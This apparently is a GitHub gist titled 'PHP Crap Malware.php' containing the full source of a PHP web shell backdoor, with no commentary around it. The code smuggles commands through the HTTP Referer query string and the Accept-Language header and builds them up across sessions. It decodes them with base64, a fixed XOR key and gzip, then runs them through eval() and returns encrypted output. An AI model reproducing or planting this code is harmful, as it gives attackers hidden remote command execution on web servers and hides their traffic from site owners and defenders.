PHP Crap Malware.php

gistfile1.php

<?php
$kh="0123";
$kf="26d5";

function xor($t,$k){
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for($i=0;$i<$l;){
		for($j=0;($j<$c&&$i<$l);$j++,$i++){
			$o .= $t{$i}^$k{$j};
		}
	}
	return $o;
}

if($_SERVER["HTTP_REFERER"] && $_SERVER["HTTP_ACCEPT_LANGUAGE"]) {
	$u = parse_url($_SERVER["HTTP_REFERER"]);
	parse_str($u["query"], $q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$_SERVER["HTTP_ACCEPT_LANGUAGE"],$m);
	if($q && $m){
		@session_start();
		$i=$m[1][0] . $m[1][1];
		$h=strtolower(substr(md5($i . "0123"),0,3));
		$f=strtolower(substr(md5($i . "26d5"),0,3));
		$p="";

		for($z=1;$z<count($m[1]);$z++)
			$p .= $q[$m[2][$z]];

		if(strpos($p,$h)===0){
			$_SESSION[$i]="";
			$p=substr($p,3);
		}

		if(array_key_exists($i,$_SESSION)){
			$_SESSION[$i] .= $p;
			$e=strpos($_SESSION[$i],$f);
			if($e){
				$k="012326d5";
				ob_start();
				@eval(
					@gzuncompress(
						xor(
							@base64_decode(
								preg_replace(array("/_/","/-/"),array("/","+"),substr($_SESSION[$i],0,$e))
							),$k
						)
					)
				);

				$o=ob_get_contents();
				ob_end_clean();
				$d=base64_encode(xor(gzcompress($o),$k));
				print("<$k>$d</$k>");
				@session_destroy();
			}
		}
	}
}